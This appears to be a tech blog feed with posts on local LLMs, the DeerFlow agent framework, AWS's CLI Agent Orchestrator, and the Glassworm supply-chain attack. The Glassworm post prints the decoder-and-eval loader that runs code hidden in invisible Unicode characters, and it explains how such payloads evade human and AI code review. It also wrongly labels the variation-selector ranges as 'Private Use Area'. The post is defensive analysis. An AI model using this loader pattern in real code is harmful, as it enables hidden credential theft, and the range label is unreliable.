Open Source · PiniShv

Your AI Stack Is Rented Until You Can Run Part of It Yourself

Sat, 04 Apr 2026 18:00:00 +0200

When Anthropic tells paying Claude Code subscribers that OpenClaw and other third-party harnesses need separate pay-as-you-go billing starting April 4, that’s not just a pricing update. That’s platform risk made visible. If your workflow depends on someone else’s limits, economics, and tolerance for power users, your stack is rented.

At almost the same moment, Google dropped Gemma 4 under Apache 2.0 across phone-to-workstation tiers. Over 400 million downloads of the Gemma family so far. This isn’t a niche hobbyist corner anymore.

One story is about dependence. The other is about escape velocity.

Local finally crossed the line
#

For a long time, “run it locally” meant weaker models, ugly tooling, and a lot of compromises. You got privacy but gave up capability.

That’s changing fast. The model layer is better. The runtime layer is better. And the quality-to-hardware ratio finally crossed from “cute demo” to “actually useful.”

The mistake people make is treating local LLMs as a single category. They’re not. There are now three very different tiers:

Phone and tablet. Gemma 4’s smallest models (E2B at ~3.2GB, E4B at ~5GB) run on mobile through Google’s AI Edge Gallery. Microsoft’s Phi-4-mini targets mobile CPUs with ONNX builds. Hugging Face’s SmolLM2 is built for on-device from the start. Not your frontier coding copilot. But credible for summarization, drafting, classification, and offline assistance.

Laptop. The 4B to 8B class is the sweet spot. Qwen3-4B with switchable thinking modes, Phi-4-mini for compact reasoning, Ministral 8B for edge setups. Real assistants on normal hardware.

Workstation and higher-memory Macs. This is where local stops being a privacy story and becomes a control story. Mistral Small 3.1 runs on a single RTX 4090 or a 32GB Mac. Gemma 4’s 26B and 31B models are realistic for workstation setups. Qwen3-30B-A3B has 30.5B total parameters but only 3.3B activated per token, which is exactly the kind of design that makes local deployment attractive.

And the tooling caught up. Gemma 4 is already in Ollama. LM Studio keeps pushing the “download and run” workflow. Microsoft has ONNX Runtime and Foundry Local for Phi. The gap between “model exists” and “normal person can run it” is closing fast.

What local doesn’t do
#

Local isn’t magic and I don’t want to romanticize it.

You still give up raw frontier capability. You give up some convenience. You give up the giant context windows and web-connected workflows that cloud models handle more naturally. On mobile, you fight battery and heat. A phone can run a model. That doesn’t mean you want it thinking for three minutes over a giant prompt while your battery melts.

The local story is strongest around focused workloads: summarization, extraction, drafting, classification, translation, private notes, offline copilots, and first-pass coding help.

So no, local doesn’t mean “replace Claude, ChatGPT, and Gemini everywhere.” That’s the wrong goal.

The right goal is to stop letting every useful AI workflow become a monthly lease tied to someone else’s pricing model, product roadmap, and policy mood.

Why the Anthropic move matters more than people think
#

Everyone repeats the privacy argument for local models. Fair enough.

The stronger argument is operational.

If a vendor can wake up on Friday and tell you that a workflow you built around is no longer covered by the subscription you’re already paying for, then “works today” isn’t the same thing as “belongs in your stack.”

Anthropic’s move may be rational. If third-party harnesses blow past the economics of a flat subscription, of course they’ll tighten the terms. That’s what platforms do. I wrote about this pattern when I was looking at AI wrappers, and again when I argued the SaaS bargain is breaking. Platform providers always move up the stack eventually.

Local gives you a floor the platform can’t take away.

That floor doesn’t need to be frontier-grade to be strategically valuable.

It just needs to be yours.

What I’d actually run today
#

If I wanted a phone-first local assistant: Gemma 4 E2B/E4B first, then Phi-4-mini for reasoning-heavy tasks.

If I wanted a good local model on a normal laptop: Qwen3-4B, Phi-4-mini, or Ministral 8B.

If I had a 32GB Mac or stronger desktop: Mistral Small 3.1 and Gemma 4 26B.

If I had a 24GB GPU and wanted the best local jump in capability: Gemma 4 31B and Qwen3-30B-A3B.

That’s not a benchmark answer. It’s a deployment answer.

For two years, local LLMs mostly meant compromise. In 2026, they increasingly mean options. The frontier cloud models are still stronger. But that’s no longer the only question that matters.

The real question is: which parts of your AI stack are you still comfortable renting?

Running local models? I’d love to hear what you’re using and where. Find me on X or Telegram.

DeerFlow 2.0: ByteDance Just Open-Sourced What Most Companies Are Trying to Build Internally

Mon, 23 Mar 2026 12:00:00 +0200

Most agent frameworks give you a chat interface with tool access. DeerFlow 2.0 gives the agent a computer.

ByteDance rebuilt DeerFlow from the ground up and open-sourced it in late February 2026. It hit #1 on GitHub Trending within days. As of this week it has over 37,000 stars and 4,400 forks. The community is excited. But most of the coverage I’ve seen misses what actually makes this interesting.

DeerFlow isn’t a research tool with a nice UI. It’s a super agent harness. The difference matters.

What “super agent harness” actually means
#

The term sounds like marketing, so let me break down what it does in practice.

A typical agent framework lets you chain LLM calls with tool use. You give the model access to search, file reading, maybe code execution. The model decides what to do step by step. That’s what most people mean when they say “agent.”

DeerFlow does something architecturally different. A lead agent receives a task, decomposes it into sub-tasks, and spawns specialized sub-agents that run in parallel. Each sub-agent gets its own isolated context, its own tools, and its own termination conditions. They work concurrently, report structured results back to the lead agent, and the lead synthesizes everything into a coherent output.

That’s not a chain. That’s an orchestration layer. And the execution doesn’t happen in an LLM’s imagination. It happens inside an actual sandbox.

The sandbox is the real differentiator
#

Each DeerFlow task runs inside an isolated Docker container with a full filesystem. The agent can read files, write files, execute bash commands, run Python scripts, and manipulate outputs. There’s a virtual path system that prevents the agent from seeing real host paths, which blocks path traversal attacks.

The directory structure per thread looks like this:

/mnt/user-data/
├── uploads/ # your files
├── workspace/ # agent's working directory
└── outputs/ # final deliverables

This is the difference between “the model says it would write a file” and “the model actually wrote the file.” When DeerFlow generates a report, builds a slide deck, creates a website, or runs a data pipeline, the output exists as actual files in an actual filesystem. Not text in a chat window.

That matters because it means DeerFlow can handle tasks that take minutes to hours. A research task fans out into a dozen sub-agents, each exploring a different angle, and converges into a single report. Or a website. Or a deck with generated visuals.

The skills system
#

DeerFlow’s capabilities are defined as “skills,” which are structured Markdown files containing workflows, best practices, and references to supporting resources. The framework ships with skills for research, report generation, slide creation, web page generation, and image/video creation.

The clever part is progressive loading. Skills only get injected into the agent’s context when the task needs them. This keeps the context window lean, which matters when you’re running sub-agents in parallel and every token counts.

You can add custom skills, replace built-in ones, or combine them. The skill system is essentially a plugin architecture defined in Markdown. It’s simple enough that someone who isn’t a framework developer can extend it.

How it compares
#

The landscape is crowded, so here’s where DeerFlow sits relative to tools engineers are actually using:

Claude Code is a terminal-based CLI agent. Powerful for deep coding sessions, strong reasoning, MCP support. But it’s fundamentally a single-agent tool. You start it, it works, it finishes. DeerFlow orchestrates multiple agents in parallel with isolated contexts. Different architectural layer.

OpenAI Codex CLI runs in a sandboxed microVM with strong safety guarantees. Fast, cost-efficient, good for GitHub workflows. But it’s scoped to coding tasks. DeerFlow handles research, content generation, data pipelines, and arbitrary multi-step workflows.

Devin positions itself as an autonomous “AI software engineer” with a full IDE. But benchmarks show a 13.86% official success rate and it’s the slowest option in head-to-head tests. DeerFlow’s parallel sub-agent architecture is fundamentally more efficient for complex decomposable tasks.

Cursor Automations, which I wrote about this week, takes a different approach entirely: event-driven triggers that launch agents automatically. DeerFlow is more of a task-delegation platform. Cursor is more of an always-on operational layer. They could complement each other.

The closest analogy might be: Claude Code is your best individual contributor. Codex is your safe pair of hands for PRs. Cursor Automations is your on-call bot. DeerFlow is the team lead who decomposes the project and assigns the work.

What engineering leaders should notice
#

Three things stand out to me.

First, the architecture is what most internal AI platform teams are trying to build. Sub-agent orchestration, sandboxed execution, persistent memory, a skills/plugin system, support for multiple models and deployment modes (local, Docker, Kubernetes). If you’re an engineering leader thinking about building an internal agent platform, DeerFlow is either your starting point or your benchmark.

Second, it’s ByteDance. That means serious engineering resources behind it. But it also means you should do your own security review before running it anywhere near production data. The code is MIT-licensed and open source, which is great. But “open source from a large tech company” and “audited for your threat model” are different things. Read the code. Check the network calls. Understand what telemetry exists. The same advice applies to any framework you’d run in Docker containers with filesystem access.

Third, the skills system is the part with the most long-term potential. Right now it ships with research and content generation skills. But the architecture supports arbitrary capabilities defined in Markdown. That means the community can build and share skills for specific domains: legal research, financial analysis, infrastructure automation, compliance workflows. If the ecosystem develops, DeerFlow becomes a platform, not just a tool.

The honest assessment
#

DeerFlow 2.0 is impressive engineering. The sandbox execution model, parallel sub-agents with isolated context, and progressive skill loading are genuine architectural innovations in the open-source agent space. It’s more production-oriented than most frameworks I’ve seen.

But it’s also early. The documentation has gaps. The learning curve is steep. Running multiple specialized models requires significant compute. And the project is moving fast enough that what you read about it this week might be outdated next week.

If you’re evaluating it for your team, my advice: clone it, run it locally, throw a real multi-step task at it, and see how it handles decomposition, failure recovery, and output quality. Don’t evaluate it from the README. Evaluate it from the sandbox.

The agent framework landscape is moving fast. DeerFlow just raised the bar for what “open source” means in this space. Whether it becomes the default depends on whether the community builds the skills ecosystem and whether ByteDance sustains the investment.

37,000 stars in a few weeks says the interest is real. Now we’ll see if the execution holds.

Experimenting with DeerFlow or building your own agent orchestration? I’d love to hear how you’re approaching it. Find me on X or Telegram.

Glassworm Is Back. Your Code Review Won't Catch It.

Sun, 22 Mar 2026 20:00:00 +0200

Between March 3 and 9, 2026, Aikido Security documented 151 malicious packages uploaded across GitHub repositories, npm, and the VS Code/Open VSX marketplace. The campaign is called Glassworm, and it’s back for a second wave after first appearing in March 2025.

What makes Glassworm different from most supply chain attacks is the technique. The malicious payload is invisible. Not obfuscated. Not minified. Invisible.

I’ve been writing about AI security threats and supply chain risks for a while. Glassworm is the kind of attack that should change how you think about what “reviewing code” actually means.

How it works
#

Unicode has a range called the Private Use Area (PUA): characters from U+FE00 to U+FE0F and U+E0100 to U+E01EF. These characters are valid Unicode. They exist in the spec. But they don’t render. Not in VS Code. Not in your terminal. Not in GitHub’s diff view. Not in any standard code review interface.

Glassworm encodes malicious JavaScript payloads as sequences of these invisible characters, stuffed inside what looks like an empty string. The actual code in the file looks something like this:

const s = v => [...v].map(w => (
 w = w.codePointAt(0),
 w >= 0xFE00 && w <= 0xFE0F ? w - 0xFE00 :
 w >= 0xE0100 && w <= 0xE01EF ? w - 0xE0100 + 16 : null
)).filter(n => n !== null);

eval(Buffer.from(s(``)).toString('utf-8'));

Those backticks at the end look empty. They’re not. They contain hundreds of invisible PUA characters that, when decoded by the function above, produce a full malicious payload. The eval() executes it at runtime. No visible trace in the source file.

The decoded payloads steal tokens, credentials, and secrets, using Solana blockchain as the command-and-control channel to make the exfiltration harder to trace and block.

Why this is harder to catch than you think
#

Traditional code review fails completely against this. A human looking at the diff sees a small utility function and an empty string. Syntax highlighting doesn’t flag it. Linting doesn’t catch it because the characters are valid Unicode. Grep doesn’t find it because you can’t search for characters you can’t see.

AI code review tools face the same problem. They operate on the visible text of the code. If the malicious content is invisible characters inside a string literal, the model sees an empty string. The Anthropic Code Review tool that launched this month dispatches agents to analyze PRs for bugs and security issues. But if the payload isn’t visible in the code representation the model receives, it doesn’t get analyzed.

And Glassworm’s operators are making detection even harder. The visible parts of malicious commits, the parts humans and AI can see, are deliberately convincing. Documentation tweaks. Version bumps. Minor bug fixes. Stylistically consistent with the target repository. Security researchers believe attackers are using LLMs to generate these cover changes at scale across 151+ different codebases.

So you have AI generating realistic-looking innocent commits to cover payloads that are invisible to both human reviewers and AI reviewers. That’s a new class of problem.

What this means for your team
#

If you’re pulling npm packages, installing VS Code extensions, or depending on open source libraries (so, everyone), here’s what matters:

Your current review process probably doesn’t detect this. Unless your toolchain specifically scans for Unicode PUA characters in source files, invisible payloads pass through. Snyk’s analysis recommends detecting Unicode characters by category rather than maintaining explicit character lists, which means your existing SAST tools need updating.

Pin your dependencies and audit updates. Glassworm targets existing repos with seemingly innocent version bumps and doc changes. If you auto-merge dependency updates or trust patch versions without review, you’re exposed.

Scan for eval() and dynamic execution patterns. The invisible payload still needs eval() or an equivalent to execute. Static analysis rules that flag dynamic code execution in dependency code are your best early warning.

Be suspicious of repos you haven’t verified recently. Some of the compromised repos had over 1,400 GitHub stars. Popularity doesn’t mean safety. The Wasmer WebAssembly runtime was among the targeted projects.

VS Code extensions are a vector. Glassworm hit the Open VSX marketplace too. Extensions run with significant privileges. If your team installs extensions casually, you have an unmonitored attack surface.

The bigger picture
#

I’ve written about AI security as a culture problem and building systems that don’t break under attack. Glassworm sits at the intersection of two trends I keep coming back to.

First, AI is accelerating both sides. Defenders are using AI to review code faster. Attackers are using AI to generate convincing cover commits at scale. The speed advantage isn’t one-sided.

Second, the supply chain is where the real vulnerability concentration lives. Your code might be clean. Your review process might be solid. But if one of your 400 transitive dependencies gets compromised with an invisible payload that no human or AI reviewer can see, none of that matters.

Glassworm didn’t exploit a zero-day. It didn’t find a novel vulnerability. It exploited the gap between what we look at and what we actually see. That gap is getting wider as codebases grow faster, reviews get thinner, and both sides of the attack use AI to scale.

The fix isn’t one tool or one policy. It’s treating your supply chain with the same paranoia you’d treat your own production code. Because right now, for a lot of teams, that’s the door nobody’s watching.

Seen something like Glassworm in your own supply chain? Dealing with invisible threats in your dependencies? I’d love to hear about it. Find me on X or Telegram.

CLI Agent Orchestrator: When One AI Agent Isn't Enough

Wed, 05 Nov 2025 00:00:00 +0000

You’ve hit this wall before. You’re working on some complex modernization project with Claude Code or Amazon Q Developer CLI, and the agent starts losing coherence. Too much context. Too many domains. Architecture bleeding into security bleeding into performance optimization. The agent can’t maintain focus.

Your options have been to manually coordinate between separate agent sessions, copying context around like it’s 2010. Or overload one agent with everything and watch quality degrade as the context window fills up.

AWS to the rescue; they just released CLI Agent Orchestrator (CAO): multiple specialized agents working together under a supervisor. Hierarchical orchestration for your AI CLI tools.

It’s early, opinionated, and requires AWS infrastructure. But it shows where developer AI tooling is headed when single agents aren’t enough.

The Problem
#

Single agents work great for focused tasks. Refactoring? Boilerplate? Debugging? Claude Code or Amazon Q handles it.

But try modernizing a legacy mainframe application. Architecture design, security review, performance optimization, testing, data migration. That’s a project spanning multiple disciplines. Load all that context into one agent and watch quality degrade. The agent contradicts itself, forgets earlier decisions, outputs get generic.

The alternative is running separate agents manually. One for architecture. Another for security. Another for performance. Now you’re copying context between them, manually synthesizing outputs, spending more time coordinating than working. You’ve become the orchestration layer.

CAO is AWS’s answer: a supervisor agent manages specialized workers. Each focuses on its domain. The supervisor handles coordination. Configure the team once, let them collaborate.

How It Works
#

A supervisor agent delegates to specialized workers. One for architecture. One for security. One for performance. The supervisor manages sequencing and maintains context. Workers focus on their specialty and report back.

Each agent runs in its own isolated tmux session. No context pollution. The architecture agent’s history doesn’t leak into the security agent’s work. Sessions communicate through Model Context Protocol (MCP) servers, which handle local communication between the isolated sessions, running entirely on your machine.

CAO supports three patterns. Handoff (synchronous): supervisor waits for completion before proceeding. Assign (asynchronous): supervisor delegates and moves on. Send Message: supervisor checks status without blocking. All implemented through Amazon Bedrock action groups.

Example: Mainframe Modernization
#

The supervisor receives “Create a modernization plan for this COBOL banking system.” It hands off sequentially: architecture agent designs the structure, security agent reviews it, then performance and test agents work in parallel. The supervisor synthesizes outputs into a unified plan.

You could apply this to building microservices applications or migrating monoliths. In practice, you’ll iterate on prompts and intervene when agents drift. But the pattern works when configured well.

The Reality Check
#

CAO only works with Amazon Q Developer CLI and Claude Code. Nothing else has shipped despite “future plans” for other tools.

The supervisor runs on Amazon Bedrock, AWS’s managed service for foundation models. You need AWS credentials, Bedrock access, and an AWS account. It’s open source code you can’t run without AWS infrastructure. This is lock-in you should choose consciously.

Everything runs in tmux sessions. Great for transparency, but it’s another dependency with a learning curve. Running this in CI/CD adds complexity.

Multiple agents mean multiple API calls, more token usage, higher latency. For simple tasks, this is wasteful overkill. You need to be selective about when orchestration overhead is worth it.

This is infrastructure for developers comfortable with AWS, tmux, and orchestration concepts. It’s not polished. Limited early reactions on social media praise the privacy focus but flag AWS lock-in and tmux hurdles as barriers to adoption.

Why It Matters
#

The interesting part isn’t CAO specifically. It’s the shift from “AI tool as standalone assistant” to “AI tools as orchestrated teams.”

Single-agent tools hit walls. Context windows don’t solve everything. At some point, more context just means more noise. Multi-agent architectures divide cognitive labor. Each agent has a focused job. The supervisor ensures pieces fit together.

We’re seeing this everywhere. OpenAI’s Swarm. LangGraph. CrewAI. AutoGPT. The underlying idea is the same: complex tasks need coordination, not just more context. Specialization plus orchestration beats generalization with bigger context windows.

The question: does this remain infrastructure developers explicitly configure, or does it become invisible? CAO is clearly “you configure this.” But the long-term direction is probably toward tools that orchestrate automatically, with developers intervening only when defaults fail.

Getting Started
#

If you want to experiment with CAO:

You need an AWS account with Bedrock access and permissions to use Claude models. Install Amazon Q Developer CLI or Claude Code. Install tmux (brew install tmux on macOS). Clone the repo: git clone https://github.com/awslabs/cli-agent-orchestrator. The README has configuration examples and workflows.

Realistically, plan to spend an afternoon getting this working. This isn’t a tool you spin up in 10 minutes.

Should You Use This?
#

Use CAO if you’re handling complex, multi-disciplinary tasks where single agents struggle. If you’re already on AWS and Bedrock, integration is straightforward. You need comfort with tmux and orchestration concepts.

Skip it if your tasks are straightforward. If you’re not on AWS or want to avoid lock-in, skip it. If you need something polished, this isn’t it.

For most developers, single-agent tools remain the right choice. For teams tackling large-scale modernizations or complex migrations, CAO offers a pattern worth exploring.

Check out the GitHub repository and the AWS blog post.

The future of AI tooling is coordination, not just capability. CAO is AWS’s bet on how that works. Whether it becomes standard or just one experiment, the pattern it represents is where things are headed.

Open Source · PiniShv

Your AI Stack Is Rented Until You Can Run Part of It Yourself

Local finally crossed the line #

What local doesn’t do #

Why the Anthropic move matters more than people think #

What I’d actually run today #

DeerFlow 2.0: ByteDance Just Open-Sourced What Most Companies Are Trying to Build Internally

What “super agent harness” actually means #

The sandbox is the real differentiator #

The skills system #

How it compares #

What engineering leaders should notice #

The honest assessment #

Glassworm Is Back. Your Code Review Won't Catch It.

How it works #

Why this is harder to catch than you think #

What this means for your team #

The bigger picture #